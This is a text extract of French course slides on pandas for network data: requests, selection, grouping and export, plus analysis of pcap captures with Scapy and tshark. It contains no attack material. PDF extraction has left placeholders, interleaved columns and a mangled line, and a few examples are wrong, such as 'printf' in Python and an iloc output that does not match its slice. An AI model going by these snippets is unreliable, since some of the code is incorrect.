params={'lang':'fr','contenu':'json'})

□ accès aux ressources par la méthode POST avec passage de paramètres :


reponse = requests('[Link] data = {'key' : 'value'})

□ accès avec des headers choisis, comme pour passer un token d’autorisation :
reponse = requests('[Link]
headers = {'Authorization' : 'Bearer ##TOKEN##'})
Les fourberies de Scapy - P-FB

Gestion de la réponse
L’objet reponse :
⊳ reponse.status_code : le code de retour HTTP (200 Ok, 404 Not Found) ;
⊳ [Link] : les entêtes de la réponse ;
⊳ [Link] : le contenu au format JSON, HTML ou binaire ;
En utilisant, [Link]() on traite la réponse au format JSON.
Importation de données 90

⊳ au format CSV :
>>> df = pandas.read_csv('mes_donnees.csv')

⊳ au format XML : Il faudra installer le module «lxml» :


xterm
$ pip install lxml

Ce qui permet de lire le contenu d’un fichier au format XML :


>>> df = pandas.read_xml('[Link]')
⊳ convertir un dictionnaire :
>>> mon_dictionnaire = { 'col1' : [ 1, 2, 3 ], 'col2' : [ 4, 5, 6 ], 'col3' : [ 7, 8, 9 ] }
>>> df = [Link].from_dict(mon_dictionnaire)
>>> df
col1 col2 col3
0 1 4 7
1 2 5 8
2 3 6 9
>>>

Les lignes sont numérotées chacune en commençant à 0 (colonne de gauche).


⊳ convertir des données au format json :
>>> r = [Link]('[Link]
Les fourberies de Scapy - P-FB

>>> df = [Link]([Link](), index=[0])


>>> df
ip hostname city ... postal timezone readme
0 [Link] [Link] Paris ... 75000 Europe/Paris [Link]
gauth

[1 rows x 10 columns]

Il faut compléter les données avec un index[0].


L’utilisation de df = pandas.json_normalize([Link]()) réalise le même travail.
Sélectionner les colonnes 91

>>> df = [Link]( { 'Nom' : [ 'Pierre', 'Paul', 'Jean', 'Alice', 'Bob' ],


'Age' : [ 12, 18, 25, 25, 16 ] } )
>>> df
Nom Age
0 Pierre 12
1 Paul 18
2 Jean 25
3 Alice 25
4 Bob 16

Afficher les premières ligne de la table pandas : Afficher les dernières ligne de la table pandas :
>>> [Link](10) # les 10 premières >>> [Link](10) # les 10 dernières
>>> [Link] >>> df['Nom']
0 Pierre 0 Pierre
1 Paul 1 Paul
2 Jean 2 Jean
3 Alice 3 Alice
4 Bob 4 Bob
Name: Nom, dtype: object Name: Nom, dtype: object
On peut accèder à une colonne en utilisant directement le nom de la colonne, ou alors on peut la passer
en chaine dans un accès à la manière d’un dictionnaire (obligatoire si le nom contient un espace).
>>> df[ [ 'Age', 'Nom'] ] On peut sélectionner plusieures colonnes en passant une liste.
Age Nom
Les fourberies de Scapy - P-FB

0 12 Pierre
1 18 Paul
2 25 Jean
3 25 Alice
4 16 Bob
Obtenir les données uniques d’une colonne : >>> [Link]()
array([12, 18, 25, 16])
Sélectionner des lignes/colonnes et des tranches par index 92

Utilisation de la méthode iloc


>>> [Link][0]
Nom Pierre
Age 12
Name: 0, dtype: object

⊳ sélectionner un élément :
>>> [Link][0,0]
'Pierre'

⊳ sélectionner une tranche :


>>> [Link][2:4]
Nom Age
2 Jean 25
3 Alice 25

On remarque que l’on conserve les valeurs d’index originales.


⊳ sélectionner une «double tranche» ou un sous tableau :
>>> [Link][1:3, 1]
0 12
1 18
Name: Age, dtype: int64
Les fourberies de Scapy - P-FB

⊳ modifier une valeur :


>>> [Link][0,0] = 'Arthur'
>>> df
Nom Age
0 Arthur 12
1 Paul 18
2 Jean 25
3 Alice 25
4 Bob 16
Création d’index 93

Créer un index à partir d’une colonne :


>>> df
Nom Age
La méthode loc fonctionne maintenant sur cet
0 Arthur 12 index.
1 Paul 18
2 Jean 25
3 Alice 25
4 Bob 16
>>> df.set_index('Nom', inplace = True)
Age
Nom
Arthur 12
Paul 18
Jean 25
Alice 25
Bob 16
>>> [Link]['Jean']
Age 25
Name: Jean, dtype: int64

Réinitialiser l’index sur les données extraites :


>>> df
Nom Age
0 Arthur 12
1 Paul 18
2 Jean 25
Les fourberies de Scapy - P-FB

3 Alice 25
4 Bob 16
>>> df = [Link][2:4]
>>> df
Nom Age
2 Jean 25
3 Alice 25
>>> df.reset_index(inplace = True, drop=True)
Nom Age
0 Jean 25
1 Alice 25
Accès aux éléments en lecture/écriture 94
Accès en lecture
Accès a une valeur en mode [colonne][ligne] :
>>> df = [Link]( { 'Nom' : [ 'Pierre', 'Paul', 'Jean', 'Alice', 'Bob' ],
'Age' : [ 12, 18, 25, 24, 16 ] } )
>>> df
Nom Age
0 Pierre 12
1 Paul 18
2 Jean 25
3 Alice 24
4 Bob 16
>>> df['Age'][2]
np.int64(25)

Accès avec la méthode loc en mode [ligne, colonne] :


>>> [Link][2, 'Age']
np.int64(25)

Accès en écriture
On utilise l’opérateur loc :
>>> [Link][2,'Age'] = 35
>>> df
Nom Age
Les fourberies de Scapy - P-FB

0 Pierre 12
1 Paul 18
2 Jean 35
3 Alice 24
4 Bob 16
L’accès direct df['Age'][2] = 35 est déconseillé car plus lent.

Le plus simple ? ⟹ Utiliser tout le temps la méthode loc.


Conversion du format de données 95

Obtenir la liste des colonnes et leur type :


df = [Link]( { 'Nom' : [ 'Pierre', 'Paul', 'Jean', 'Alice', 'Bob' ],
'Age' : [ 12, 18, 25, 24, 16 ] } )
>>> [Link]
Index(['Nom', 'Age'], dtype='object')
>>> [Link]
Nom object
Age int64
dtype: object

Conversion de format numérique :


>>> df['Age'] = df['Age'].astype(float)
>>> df
Nom Age
0 Pierre 12.0
1 Paul 18.0
2 Jean 35.0
3 Alice 24.0
4 Bob 16.0
>>> [Link]
Nom object
Age float64
dtype: object

Ici, on convertit les données d’entier vers flottant.


Les fourberies de Scapy - P-FB

Conversion de date :
date = '22/Mar/2009:07:00:32 +0100'
temps = pandas.to_datetime(date, format='%d/%b/%Y:%H:%M:%S %z', utc = True)
>>> temps
Timestamp('2009-03-22 06:00:32+0000', tz='UTC')
Consulter les données incomplètes 96

Afficher les données où des informations sont manquantes :


>>> df = [Link]( { 'Nom' : [ 'Pierre', 'Paul', 'Jean', 'Alice', 'Bob' ], 'Age' : [ 12, 18,
25, 24, 16 ], 'Profession' : [ 'ingenieur', 'programmeur', 'programmeur', 'ingenieur', 'programmeur'
] } )
>>> nouvelle_df = [Link].from_dict({ 'Nom' : ['Albert'], 'Age' : [33] })
>>> [Link]([df,ndf])
Nom Age Profession
0 Pierre 12 ingenieur
1 Paul 18 programmeur
2 Jean 25 programmeur
3 Alice 24 ingenieur
4 Bob 16 programmeur
0 Albert 33 NaN
>>> nouvelle_nouvelle_df = [Link]([df,ndf])
>>> nouvelle_nouvelle_df
Nom Age Profession
0 Pierre 12 ingenieur
1 Paul 18 programmeur
2 Jean 25 programmeur
3 Alice 24 ingenieur [Link] ⟹ valeur non numérique (Not A Number)
4 Bob 16 programmeur
0 Albert 33 NaN
>>> nouvelle_nouvelle_df.isnull()
Nom Age Profession
0 False False False
Les fourberies de Scapy - P-FB

1 False False False


2 False False False
3 False False False Tableau de booléens
4 False False False
0 False False True
>>> nouvelle_nouvelle_df.isnull().sum()
Nom 0
Age 0
Profession 1
dtype: int64
Ajout/Suppression de colonnes et de lignes 97

□ Ajouter une colonne vide :


>>> df = [Link](nouvelle_colonne = None)
Le nom de la nouvelle colonne est exprimée sans être inclus dans une chaîne, et il faut mettre à jour la variable df
pour que la table soit modifiée.

□ Ajouter une ligne :


>>> nouvelle_ligne = [Link]({ 'Colonne1' : [ 42 ], 'Colonne2' : [ 50 ] })
>>> [Link]([df, nouvelle_ligne], ignore_index = True)
Les colonnes non renseignées prendront la valeur NaN ([Link], testable avec [Link]()).

□ Supprimer une colonne :


>>> [Link]('nom_colonne', axis=1, inplace=True)
Le paramètre inplace indique de modifier la table elle-même au lieu de retourner une copie.
>>> [Link]([Link][1], axis=1, inplace=True)
La colonne est désignée par son index.

□ Supprimer une ligne :


>>> [Link](1, inplace = True)
Ici, c’est une ligne qui est supprimée par son indice.
Les fourberies de Scapy - P-FB

□ Supprimer une ligne par une condition :


>>> df = df[ df['Sauts'] > = 2]
Ici, on peut supprimer les lignes dont la valeur pour la colonne ’Saut’ est inférieure à 2.

□ Supprimer les lignes dont les données sont insuffisantes :


[Link](inplace = True)
Supprime les lignes pour lesquelles il y a une valeur None dans une de ses colonnes.
Création de nouvelles colonnes calculées 98

>>> df = [Link]( { 'Nom' : [ 'Pierre', 'Paul', 'Jean', 'Alice', 'Bob' ], 'Année embauche'
: [ 2018, 2019, 2016, 2020, 2017], 'Profession' : [ 'ingenieur', 'programmeur', 'programmeur', 'inge
nieur', 'programmeur' ] } )
>>> df
Nom Année embauche Profession
0 Pierre 2018 ingenieur
1 Paul 2019 programmeur
2 Jean 2016 programmeur
3 Alice 2020 ingenieur
4 Bob 2017 programmeur
>>> df['Ancienneté'] = 2024 - df['Année embauche']
>>> df
Nom Année embauche Profession Ancienneté
0 Pierre 2018 ingenieur 6
1 Paul 2019 programmeur 5
2 Jean 2016 programmeur 8
3 Alice 2020 ingenieur 4
4 Bob 2017 programmeur 7

>>> mon_dictionnaire = { 'col1' : [ 1, 2, 3 ], 'col2' : [ 4, 5, 6 ], 'col3' : [ 7, 8, 9 ] }


>>> df = [Link].from_dict(mon_dictionnaire)
>>> df
col1 col2 col3
0 1 4 7
1 2 5 8
2 3 6 9
>>> df['calcul'] = (df.col2 + df.col3)/ df.col1
Les fourberies de Scapy - P-FB

>>> df
col1 col2 col3 calcul
0 1 4 7 11.0
1 2 5 8 6.5 écrasement des valeurs d’une colonne
2 3 6 9 5.0
>>> df['calcul'] = 0
>>> df
col1 col2 col3 calcul
0 1 4 7 0
1 2 5 8 0
2 3 6 9 0
Ajout avancés et sélection à l’aide d’une fonction 99
Utilisation d’une fonction pour créer le contenu d’une nouvelle colonne
def ma_fonction(x):
if x >= 18:
return True
return False
df = [Link]( { 'Nom' : [ 'Pierre', 'Paul', 'Jean', 'Alice', 'Bob' ],
'Age' : [ 12, 18, 25, 24, 16 ] } )
df['Majeur'] = df['Age'].map(ma_fonction)
print(df)

Avec la méthode map, on applique la fonction sur chaque valeur de la colonne indiquée et on construit
une nouvelle colonne dont on a donné le nom lors de l’affectation.
xterm
Nom Age Majeur
0 Pierre 12 False
1 Paul 18 True
2 Jean 25 True
3 Alice 24 True
4 Bob 16 False

On peut alors filtrer les données sur cette nouvelle colonne :


>>> df[df['Majeur'] == True]
Nom Age Majeur
1 Paul 18 True
2 Jean 25 True
Les fourberies de Scapy - P-FB

3 Alice 24 True
>>>

On peut ne pas utiliser de fonction dans le cas où la valeur est booléenne :


>>> selection = df['Age']>=18 >>> df[selection]
>>> selection Nom Age Majeur
0 False 1 Paul 18.0 True
1 True 2 Jean 45.0 True
2 True 3 Alice 24.0 True
3 True >>>
4 False
Name: Age, dtype: bool
On obtient le même résultat.
Sélection des éléments d’une table par contenu ou expression régulière 100

Avec la méthode .[Link]('...') et une simple chaîne :


>>> selection = df['Nom'].[Link]('P')
>>> selection
0 True
1 True
2 False
3 False
4 False
Name: Nom, dtype: bool
>>> df[selection]
Nom Profession
0 Pierre ingenieur
1 Paul programmeur

Ici, seul ’Pierre’ et ’Paul’ contiennent un ’P’.


Utilisation d’expression régulière :
[Link](pattern, case=True, flags=0, na=nan, regex=True)

⊳ pattern : séquence de caractères ou expressions régulières ;


⊳ case : si True, recherche sensible à la casse. Si False, recherche insensible à la casse ;
⊳ flags : Flags à passer directement au module re (par exemple : [Link]).
⊳ na : la valeur à mettre en cas de données manquantes ;
⊳ regex : Si True, utilise pattern en expression régulière ou sinon comme une simple chaîne.
Les fourberies de Scapy - P-FB

>>> selection = df['Nom'].[Link](r'^.*i.*e$', regex=True)


>>> selection # contient un True pour les noms contenant un 'i' et finissant par un 'e'
0 True
1 False
2 False
3 True
4 False
Name: Nom, dtype: bool
Sélection par conditions 101

df = [Link]( { 'Nom' : [ 'Pierre', 'Paul', 'Jean', 'Alice', 'Bob' ],


'Age' : [ 12, 18, 25, 24, 16 ],
'Profession' : [ 'ingenieur', 'programmeur', 'programmeur', 'ingenieur', 'programmeur' ]} )
>>> df
Nom Age Profession
0 Pierre 12 ingenieur
1 Paul 18 programmeur
2 Jean 25 programmeur
3 Alice 24 ingenieur
4 Bob 16 programmeur

Utilisation directe de la dataframe :


>>> df[([Link] >= 18) & ([Link] == 'programmeur')]
Nom Age Profession
1 Paul 18 programmeur
2 Jean 25 programmeur

Utilisation de la méthode query :


>>> [Link]('(Age>=18) & (Profession == "programmeur")')
Nom Age Profession
1 Paul 18 programmeur
2 Jean 25 programmeur

Utilisation de la méthode loc :


>>> [Link][([Link] >= 18) & ([Link] == 'programmeur')]
Les fourberies de Scapy - P-FB

Nom Age Profession


1 Paul 18 programmeur
2 Jean 25 programmeur

Utilisation de la méthode iloc :


>>> [Link][2:4]
Nom Age Profession
2 Jean 25 programmeur
3 Alice 24 ingenieur
Statistiques numériques 102

On utilise la méthode describe qui ne traite que les données entières ou flottante :
>>> df
Nom Age Profession
0 Pierre 12 ingenieur
1 Paul 18 programmeur
2 Jean 25 programmeur
3 Alice 24 ingenieur
4 Bob 16 programmeur
>>> [Link]()
Age
count 5.000000
mean 19.000000
std 5.477226
min 12.000000
25% 16.000000
50% 18.000000
75% 24.000000
max 25.000000
Pour traiter les données non numérique :
>>> [Link](include='object')
Les fourberies de Scapy - P-FB

Nom Profession
count 5 5
unique 5 2
top Pierre programmeur
freq 1 3
Statistiques 103
Compter le nombre d’occurences de chaque valeur unique avec value_counts
Sur une série :
import pandas

s = [Link](['a', 'b', 'a', 'c', 'b', 'b'])


print(s.value_counts()) # Sortie: a 2, b 3, c 1

Pour une table :


>>> df = [Link]( { 'Nom' : [ 'Pierre', 'Paul', 'Jean', 'Alice', 'Bob' ], 'Profession' : [
'ingenieur', 'programmeur', 'programmeur', 'ingenieur', 'programmeur' ] } )
>>> df
Nom Profession
0 Pierre ingenieur
1 Paul programmeur
2 Jean programmeur
3 Alice ingenieur
4 Bob programmeur
>>> df['Profession'].value_counts()
Profession
programmeur 3
ingenieur 2
Name: count, dtype: int64
>>>

Ou :
Les fourberies de Scapy - P-FB

>>> df.value_counts(subset = 'Profession')


Profession
programmeur 3
ingenieur 2
Name: count, dtype: int64

Ici, on utilise subset pour sélectionner la colonne (on peut aussi donner une liste de colonnes
['colonne1', 'colonne2'] ce qui donne un comptage des différentes combinaisons uniques
des valeurs de ces colonnes).
Regrouper les données et trier 104

Utilisation de la méthode groupby :


>>> df = [Link]( { 'Nom' : [ 'Pierre', 'Paul', 'Jean', 'Alice', 'Bob' ], 'Age' : [ 12, 18,
25, 24, 16 ], 'Profession' : [ 'ingenieur', 'programmeur', 'programmeur', 'ingenieur', 'programmeur'
] } )
>>> [Link]('Profession')['Age'].mean()
Profession
ingenieur 18.000000
programmeur 19.666667
Name: Age, dtype: float64

On calcule l’âge moyen des différentes professions.

Utilisation des méthodes groupby et count :


>>> [Link]('Profession')['Profession'].count() Pour compter le nombre d’individus de chaque
Profession
ingenieur 2 profession.
programmeur 3
Name: Profession, dtype: int64
Pour trier suivant le contenu d’une colonne :
>>> df.sort_values('Age') On peut ensuite prendre les premières valeurs :
Nom Age Profession
0 Pierre 12 ingenieur >>> [Link][0:2]
4 Bob 16 programmeur Nom Age Profession
1 Paul 18 programmeur 2 Jean 25 programmeur
Les fourberies de Scapy - P-FB

3 Alice 24 ingenieur 3 Alice 24 ingenieur


2 Jean 25 programmeur
>>> ndf = df.sort_values('Age', ascending=False)
>>> ndf
Nom Age Profession
2 Jean 25 programmeur
3 Alice 24 ingenieur
1 Paul 18 programmeur
4 Bob 16 programmeur
0 Pierre 12 ingenieur
Exportation des tables 105

⊳ au format csv :
>>> df.to_csv('mon_fichier.csv')
Crée un fichier.

⊳ au format json :
>>> df.to_json()
Retourne un chaîne de caractères.

⊳ au format html :
>>> df.to_html()
Retourne une chaîne de caractères.
Un serveur Web qui appelle la fonction travail_pandas sur [Link] :
from [Link] import BaseHTTPRequestHandler, HTTPServer

class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
[Link](travail_pandas().encode('utf8'))

def run_server():
Les fourberies de Scapy - P-FB

server_address = ('', 8000)


httpd = HTTPServer(server_address, RequestHandler)
print("Server running at [Link]
httpd.serve_forever()

def travail_pandas():
# Travail sur la table pandas
return df.to_html()

run_server()
Interfaçage avec Scapy 106
On récupére une liste de paquets depuis un fichier au format pcap :

#!/usr/bin/env python3

from [Link] import *


import pandas

# Extraction des donnees pertinentes des paquets


def traiter_paquet(packet):
# on retourne un dictionnaire
if [Link]('IP'):
return {
'src_ip': packet['IP'].src,
'dst_ip': packet['IP'].dst,
}

les_paquets = rdpcap("paquets_captures.pcap")

# Extraction des infos sur tous les paquets IP


donnees = [ { 'IP' : p[IP].src } for p in les_paquets if IP in p]

# Creer une table


df = [Link](donnees)
print(df)
Les fourberies de Scapy - P-FB

On veut obtenir la liste des adresses IP source de ces paquets et la tranformer en une table pandas :
Pour chaque paquet, il faut :
⊳ extraire l’adresse IP source du paquet s’il contient un datagramme IP ;
⊳ créer un dictionnaire pour associer un «label» associé à l’adresse IP source
⊳ ajouter ce dictionnaire à une liste ;
⟹ On peut utiliser une «list comprehension» pour faire ce travail.
⊳ donner cette liste à [Link] pour créer la table : le label sera utilisé pour associer les éléments entre eux et
nommer la colonne obtenue.
Lecture d’un fichier et extraction 107

Contenu du fichier à analyser dans pandas. [Link] : Paul


[Link] : Pierre
[Link] : Jacques
[Link] : Alice
[Link] : Bob
#!/usr/bin/env python3

import pandas
import sys
import re

nom_fichier = 'liste_machines.txt'
re_analyse = [Link](r'^([.\d]+)\s*:\s*(.*)')

def traiter_ligne(l):
resultat = re_analyse.search(l)
if resultat:
return { 'IP' : [Link](1), 'Utilisateur' : [Link](2) }
try:
desc = open(nom_fichier, 'r');
except Exception as e:
printf([Link])
[Link](1)
Les fourberies de Scapy - P-FB

liste_infos = []
while 1:
ligne = [Link]()
if not ligne:
break
ajout = traiter_ligne(ligne)
if ajout:
liste_infos.append(traiter_ligne(ligne))
df = [Link](liste_infos)
print(df)
En utilisation interactive 108

On désire analyser un fichier pcap contenant plus de 90 000 paquets et déterminer les adresses IP
source uniques :
>>> lp = rdpcap('[Link]')
>>> liste_adresses_ip_source = [p[IP].src for p in lp if IP in p]
>>> import pandas
>>> df = [Link]({'IP' : liste_adresses_ip_source})
>>> df
IP
0 [Link]
1 [Link]
2 [Link]
3 [Link]
4 [Link]
... ...
90374 [Link]
90375 [Link]
90376 [Link]
90377 [Link]
90378 [Link]

[90379 rows x 1 columns]


>>> len([Link]())
432

Il faut :
Les fourberies de Scapy - P-FB

⊳ récupérer la liste de ces adresses IP source ;


⊳ créer un dictionnaire avec cette liste (le nom de la colonne sera IP ;
⊳ créer la table pandas en passant ce dictionnaire à [Link] et compter les adresses
uniques.
Pour aller plus loin 109

La méthode to_frame permet de créer une colonne et de l’ajouter à la table :


>>> k = [Link]('Ik=[Link]('IP')['IP'].count().to_frame('c')
>>> k
c la méthode to_frame
IP
[Link] 8 avec le nom de la nouvelle colonne
[Link] 1
[Link] 45
[Link] 4
[Link] 10
... ..
[Link] 1
[Link] 48
[Link] 1
[Link] 1
[Link] 1 On peut ainsi appliquer un tri pour connaitre

[432 rows x 1 columns] quelles sont les adresses les plus présentes.
>>> k.sort_values('c',ascending=False)
c
IP
[Link] 34554
[Link] 6818
[Link] 3731
[Link] 3635
Les fourberies de Scapy - P-FB

[Link] 3033
... ...
[Link] 1
[Link] 1
[Link] 1
[Link] 1
[Link] 1

[432 rows x 1 columns]

⟹ La colonne count est ajoutée à la table.


Pour regrouper des colonnes dans une même table 110

On a : ⊳ récupérer les adresses sources des différents datagramme IP et construit la table df ;


⊳ récupérer les adresses destinations et construit la table df2 ;
⊳ on peut regrouper les deux colonnes dans une seule table :
>>> liste_adresses = [{ 'IP src' : p[IP].src} for p in lp if IP in p]
>>> liste_adresses_2 = [{ 'IP dst' : p[IP].dst} for p in lp if IP in p]
>>> df = [Link](liste_adresses)
>>> df2 = [Link](liste_adresses_2)
>>> df['IP dst'] = df2['IP dst']
>>> df
IP src IP dst Attention : il faut être sûr que les index des deux tables
0 [Link] [Link] font correspondre les bonnes données entre elles !
1 [Link] [Link]
2 [Link] [Link]
3 [Link] [Link]
4 [Link] [Link]
... ... ...
90374 [Link] [Link]
90375 [Link] [Link]
90376 [Link] [Link] On peut aussi utiliser un join avec : >>> [Link](df2)
90377 [Link] [Link]
90378 [Link] [Link]

Il est plus sûr de faire l’extraction directement depuis les paquets :


>>> liste_adresses = [{ 'IP src' : p[IP].src, 'IP dst' : p[IP].dst } for p in lp if IP in p]
>>> df = [Link](liste_adresses)
>>> df
IP src IP dst
0 [Link] [Link]
Les fourberies de Scapy - P-FB

1 [Link] [Link]
2 [Link] [Link]
3 [Link] [Link]
4 [Link] [Link]
... ... ...
90374 [Link] [Link]
90375 [Link] [Link]
90376 [Link] [Link]
90377 [Link] [Link]
90378 [Link] [Link]
[90379 rows x 2 columns]
Pour afficher des coordonnées (Lattitude,Longitude) 111

import geopandas
import pandas
import [Link]

world_file_path = 'ne_110m_admin_0_countries.shp'
gdf_world = geopandas.read_file(world_file_path)

df = [Link](
{
"Latitude": [48.8534, 45.5088],
"Longitude": [2.3488, -73.5878],
}
)

gdf_coordonnees = [Link](
df, geometry=geopandas.points_from_xy([Link], [Link])
)

fig, ax = [Link](figsize=(20,10))
ax.set_xticks([])
ax.set_yticks([])
gdf_world.plot(ax = ax, aspect = 'auto', color = "lightgray", cmap = "Pastel2", edgecolor = "black",
alpha = 0.5)
gdf_coordonnees.plot(ax = ax, color = "red")

[Link]("Basic Map of World with GeoPandas")


[Link]()
Les fourberies de Scapy - P-FB

Pour télécharger la carte du monde :


[Link]
/cultural/ne_110m_admin_0_countries.zip
Utilisation de tshark 112

On peut créer un fichier au format csv avec tshark :


xterm
tshark -r mon_fichier.pcap -T fields -e [Link] -e frame.time_epoch -e [Link] -e [Link] -e
[Link] -e [Link] -e [Link] -e [Link] -E header=y -E separator=, -E quote=d > [Link]

xterm
>>> import pandas
>>> df = pandas.read_csv('[Link]')
>>> df
[Link] frame.time_epoch [Link] [Link] [Link]
[Link] [Link] [Link]
0 1 1.216691e+09 00:1d:d9:2e:4f:61 00:1d:6b:99:98:68 0x0800
[Link] [Link] 6.0
...
... ...
... ... ... ... ... ...
94409 94410 1.216707e+09 00:17:f2:e2:c0:ce 00:1d:d9:2e:4f:60 0x0800
[Link] [Link] 6.0

[94410 rows x 8 columns]


# Conversion des dates au format epoch vers un format "humain"
>>> df['frame.time_epoch'] = pandas.to_datetime(df['frame.time_epoch'], unit = 's')
>>> [Link][0]
[Link] 1
frame.time_epoch 2008-07-22 01:51:07.095278025
[Link] 00:1d:d9:2e:4f:61
[Link] 00:1d:6b:99:98:68
[Link] 0x0800
[Link] [Link]
[Link] [Link]
Les fourberies de Scapy - P-FB

[Link] 6.0
Name: 0, dtype: object
>>> df['[Link]'].unique()
array(['0x0800', '0x0806', nan], dtype=object)
>>> df[df['[Link]'].isna()]
[Link] frame.time_epoch [Link] [Link] [Link]
[Link] [Link] [Link]
18792 18793 2008-07-22 04:29:43.273530006 00:14:d1:44:a0:f1 ff:ff:ff:ff:ff:ff NaN
NaN NaN NaN
Utilisation de tshark 113

On peut utiliser tshark pour récupérer le contenu des requêtes http :


xterm
>>> import pandas
>>> df = pandas.read_csv('[Link]')
>>> df2 = df[df['[Link]'].notna()]
>>> df2[df2['[Link]'].[Link]('GET')]
[Link] frame.time_epoch ... [Link]
[Link]
2 3 1.216691e+09 ... GET
/mail/?logout&hl=en
171 172 1.216691e+09 ... GET
/a/[Link]/[Link]
...
... ... ... ... ...
94227 94228 1.216707e+09 ... GET
/firefox?client=firefox-a&rls=[Link]:en-U...
94239 94240 1.216707e+09 ... GET
/firefox?client=firefox-a&rls=[Link]:en-U...
[4462 rows x 10 columns]
>>> df2[df2['[Link]'].[Link]('POST')]
[Link] frame.time_epoch ... [Link]
[Link]
10216 10217 1.216692e+09 ... POST
/m57jean
10240 10241 1.216692e+09 ... POST
/m57jean
...
... ... ... ... ...
90503 90504 1.216707e+09 ... POST
/notifyft
Les fourberies de Scapy - P-FB

94262 94263 1.216707e+09 ... POST


/
[372 rows x 10 columns]

On notera la méthode notna permettant de sélectionner les lignes contenant une requête.

Vous aimerez peut-être aussi